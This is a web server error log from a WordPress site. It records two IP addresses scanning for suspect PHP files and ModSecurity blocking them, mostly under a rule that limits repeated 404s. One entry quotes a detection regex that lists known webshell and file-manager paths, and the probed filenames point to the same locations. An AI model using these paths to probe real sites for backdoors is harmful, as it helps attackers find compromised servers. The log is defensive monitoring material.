[Tue Nov 25 20:09:47.902638 2025] [:error] [pid 28740:tid 28801] [client 20.196.125.130:30646] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aSWci1ppQCoYxWW6V0WOzgAAAko"]
[Tue Nov 25 20:09:48.308198 2025] [:error] [pid 28739:tid 28765] [client 20.196.125.130:30686] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aSWcjBxGpKmlkG4FexSEEAAAAgM"]
[Tue Nov 25 20:09:48.686901 2025] [:error] [pid 28739:tid 28778] [client 20.196.125.130:30427] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-wp.php"] [unique_id "aSWcjBxGpKmlkG4FexSEEwAAAhA"]
[Tue Nov 25 20:09:49.037783 2025] [:error] [pid 2987:tid 2989] [client 20.196.125.130:30475] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-wp.php"] [unique_id "aSWcjc-djEt-pTzPxnysSAAAAUA"]
[Tue Nov 25 20:09:49.369038 2025] [:error] [pid 14076:tid 14082] [client 20.196.125.130:30565] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-wp.php"] [unique_id "aSWcjXsB4Gz6Qw-pvBsgGAAAAAE"]
[Tue Nov 25 20:09:50.270640 2025] [:error] [pid 14076:tid 14091] [client 20.196.125.130:30567] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-wp.php"] [unique_id "aSWcjnsB4Gz6Qw-pvBsgGgAAAAo"]
[Tue Nov 25 20:09:50.646923 2025] [:error] [pid 14076:tid 14089] [client 20.196.125.130:30410] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aSWcjnsB4Gz6Qw-pvBsgHAAAAAg"]
[Tue Nov 25 20:09:50.963808 2025] [:error] [pid 2987:tid 3013] [client 20.196.125.130:30178] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aSWcjs-djEt-pTzPxnysTQAAAVg"]
[Tue Nov 25 20:09:51.402680 2025] [:error] [pid 28609:tid 28633] [client 20.196.125.130:30549] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aSWcjyGGdT-nZJVs3x3M-wAAAY8"]
[Tue Nov 25 20:09:51.774053 2025] [:error] [pid 14077:tid 14115] [client 20.196.125.130:30682] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aSWcjxG9n7UHEkwDTyikRQAAAEU"]
[Tue Nov 25 20:09:52.101639 2025] [:error] [pid 2987:tid 2999] [client 20.196.125.130:30551] [client 20.196.125.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/filemanager.php"] [unique_id "aSWckM-djEt-pTzPxnysTwAAAUo"]
[Tue Nov 25 20:09:52.518773 2025] [:error] [pid 28739:tid 28762] [client 20.196.125.130:30519] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aSWckBxGpKmlkG4FexSEGQAAAgA"]
[Tue Nov 25 20:09:52.856627 2025] [:error] [pid 28836:tid 28965] [client 20.196.125.130:30614] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aSWckJwNRsoxcLQGkTfMewAAAso"]
[Tue Nov 25 20:09:53.209385 2025] [:error] [pid 28740:tid 28810] [client 20.196.125.130:30601] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aSWckVppQCoYxWW6V0WO0wAAAlM"]
[Tue Nov 25 20:09:54.516031 2025] [:error] [pid 14077:tid 14117] [client 20.196.125.130:30172] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aSWckhG9n7UHEkwDTyikSQAAAEc"]
[Tue Nov 25 20:09:55.107196 2025] [:error] [pid 28836:tid 28962] [client 20.196.125.130:30529] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CLA.php"] [unique_id "aSWck5wNRsoxcLQGkTfMfwAAAsc"]
[Tue Nov 25 20:09:55.450974 2025] [:error] [pid 28739:tid 28784] [client 20.196.125.130:30571] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CLA.php"] [unique_id "aSWckxxGpKmlkG4FexSEHwAAAhY"]
[Tue Nov 25 20:09:55.773079 2025] [:error] [pid 28739:tid 28768] [client 20.196.125.130:30573] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CLA.php"] [unique_id "aSWckxxGpKmlkG4FexSEIQAAAgY"]
[Tue Nov 25 20:09:56.183913 2025] [:error] [pid 28740:tid 28800] [client 20.196.125.130:30502] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CLA.php"] [unique_id "aSWclFppQCoYxWW6V0WO2QAAAkk"]
[Tue Nov 25 20:09:56.543689 2025] [:error] [pid 28609:tid 28623] [client 20.196.125.130:30568] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aSWclCGGdT-nZJVs3x3M_wAAAYU"]
[Tue Nov 25 20:09:57.064381 2025] [:error] [pid 28842:tid 29017] [client 20.196.125.130:30611] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aSWcldNmoaPf6T4-6C2gzwAAA1A"]
[Tue Nov 25 20:09:58.206562 2025] [:error] [pid 14077:tid 14132] [client 20.196.125.130:30579] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aSWclhG9n7UHEkwDTyikVgAAAFY"]
[Tue Nov 25 20:09:58.737756 2025] [:error] [pid 28836:tid 28965] [client 20.196.125.130:30546] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aSWclpwNRsoxcLQGkTfMhQAAAso"]
[Tue Nov 25 20:09:59.067140 2025] [:error] [pid 14168:tid 14173] [client 20.196.125.130:30491] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ouh.php"] [unique_id "aSWcl_R-ZDU0QEgAIItv1QAAAMI"]
[Tue Nov 25 20:09:59.556964 2025] [:error] [pid 14078:tid 14147] [client 20.196.125.130:30497] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ouh.php"] [unique_id "aSWcl9VXYbb0ii_rVoJQqgAAAIo"]
[Tue Nov 25 20:09:59.925698 2025] [:error] [pid 28740:tid 28805] [client 20.196.125.130:30495] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ouh.php"] [unique_id "aSWcl1ppQCoYxWW6V0WO2gAAAk4"]
[Tue Nov 25 20:10:00.526692 2025] [:error] [pid 28740:tid 28791] [client 20.196.125.130:30631] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ouh.php"] [unique_id "aSWcmFppQCoYxWW6V0WO4gAAAkA"]
[Tue Nov 25 20:10:00.893048 2025] [:error] [pid 14076:tid 14105] [client 20.196.125.130:30590] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tgrs.php"] [unique_id "aSWcmHsB4Gz6Qw-pvBsgJwAAABg"]
[Tue Nov 25 20:10:02.427319 2025] [:error] [pid 28739:tid 28766] [client 20.196.125.130:30145] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tgrs.php"] [unique_id "aSWcmhxGpKmlkG4FexSEKwAAAgQ"]
[Tue Nov 25 20:10:02.755989 2025] [:error] [pid 28609:tid 28629] [client 20.196.125.130:30466] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tgrs.php"] [unique_id "aSWcmiGGdT-nZJVs3x3NCwAAAYs"]
[Tue Nov 25 20:10:03.072750 2025] [:error] [pid 14078:tid 14153] [client 20.196.125.130:30503] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tgrs.php"] [unique_id "aSWcm9VXYbb0ii_rVoJQsQAAAJA"]
[Tue Nov 25 20:10:03.465255 2025] [:error] [pid 14168:tid 14183] [client 20.196.125.130:30570] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system_log.php"] [unique_id "aSWcm_R-ZDU0QEgAIItv3AAAAMw"]
[Tue Nov 25 20:10:03.770165 2025] [:error] [pid 28842:tid 29003] [client 20.196.125.130:30487] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system_log.php"] [unique_id "aSWcm9NmoaPf6T4-6C2g2gAAA00"]
[Tue Nov 25 20:10:04.081753 2025] [:error] [pid 14076:tid 14093] [client 20.196.125.130:30662] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system_log.php"] [unique_id "aSWcnHsB4Gz6Qw-pvBsgKQAAAAw"]
[Tue Nov 25 20:10:04.385720 2025] [:error] [pid 14168:tid 14179] [client 20.196.125.130:30523] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system_log.php"] [unique_id "aSWcnPR-ZDU0QEgAIItv3QAAAMg"]
[Tue Nov 25 20:10:04.751584 2025] [:error] [pid 2987:tid 3002] [client 20.196.125.130:30507] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aSWcnM-djEt-pTzPxnysYgAAAU0"]
[Tue Nov 25 20:10:05.108136 2025] [:error] [pid 28842:tid 29018] [client 20.196.125.130:30552] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aSWcndNmoaPf6T4-6C2g3gAAA1E"]
[Tue Nov 25 20:10:05.511216 2025] [:error] [pid 14077:tid 14134] [client 20.196.125.130:30470] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aSWcnRG9n7UHEkwDTyikYwAAAFg"]
[Tue Nov 25 20:10:06.162565 2025] [:error] [pid 14168:tid 14189] [client 20.196.125.130:30511] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aSWcnvR-ZDU0QEgAIItv3wAAANI"]
[Tue Nov 25 20:10:06.485568 2025] [:error] [pid 14077:tid 14115] [client 20.196.125.130:30629] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z.php"] [unique_id "aSWcnhG9n7UHEkwDTyikZQAAAEU"]
[Tue Nov 25 20:10:06.828933 2025] [:error] [pid 14077:tid 14133] [client 20.196.125.130:30574] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z.php"] [unique_id "aSWcnhG9n7UHEkwDTyikZgAAAFc"]
[Tue Nov 25 20:10:07.188049 2025] [:error] [pid 14078:tid 14150] [client 20.196.125.130:30483] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z.php"] [unique_id "aSWcn9VXYbb0ii_rVoJQtgAAAI0"]
[Tue Nov 25 20:10:07.519342 2025] [:error] [pid 14077:tid 14117] [client 20.196.125.130:30469] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z.php"] [unique_id "aSWcnxG9n7UHEkwDTyikaAAAAEc"]
[Tue Nov 25 20:10:07.867730 2025] [:error] [pid 2987:tid 3011] [client 20.196.125.130:30169] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aSWcn8-djEt-pTzPxnysZQAAAVY"]
[Tue Nov 25 20:10:08.234113 2025] [:error] [pid 2987:tid 3010] [client 20.196.125.130:30166] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aSWcoM-djEt-pTzPxnysZwAAAVU"]
[Tue Nov 25 20:10:08.751944 2025] [:error] [pid 14077:tid 14110] [client 20.196.125.130:30517] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aSWcoBG9n7UHEkwDTyikbQAAAEA"]
[Tue Nov 25 20:10:09.210514 2025] [:error] [pid 28740:tid 28815] [client 20.196.125.130:30193] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aSWcoVppQCoYxWW6V0WO5QAAAlg"]
[Tue Nov 25 20:44:54.901892 2025] [autoindex:error] [pid 14078:tid 14151] [client 134.149.17.123:45965] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 20:45:09.320801 2025] [:error] [pid 14078:tid 14148] [client 134.149.17.123:45965] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aSWk1dVXYbb0ii_rVoJdHgAAAIs"]
[Tue Nov 25 20:45:09.936375 2025] [:error] [pid 43789:tid 43804] [client 134.149.17.123:46038] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aSWk1W8H1v7pacHQoiLZEwAAAQw"]
[Tue Nov 25 20:45:10.541214 2025] [:error] [pid 28836:tid 28959] [client 134.149.17.123:45956] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aSWk1pwNRsoxcLQGkTfWygAAAsQ"]
[Tue Nov 25 20:45:11.128426 2025] [:error] [pid 14168:tid 14190] [client 134.149.17.123:46056] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aSWk1_R-ZDU0QEgAIIt7PwAAANM"]
[Tue Nov 25 20:45:11.698585 2025] [:error] [pid 28739:tid 28779] [client 134.149.17.123:46070] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aSWk1xxGpKmlkG4FexSPNQAAAhE"]
[Tue Nov 25 20:45:12.322517 2025] [:error] [pid 43902:tid 43916] [client 134.149.17.123:46069] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aSWk2IG1ogE2nBuKn7odgAAAAos"]
[Tue Nov 25 20:45:13.016556 2025] [:error] [pid 14077:tid 14115] [client 134.149.17.123:46065] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aSWk2RG9n7UHEkwDTyi3WgAAAEU"]
[Tue Nov 25 20:45:13.874358 2025] [:error] [pid 28836:tid 28956] [client 134.149.17.123:46071] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aSWk2ZwNRsoxcLQGkTfWzgAAAsE"]
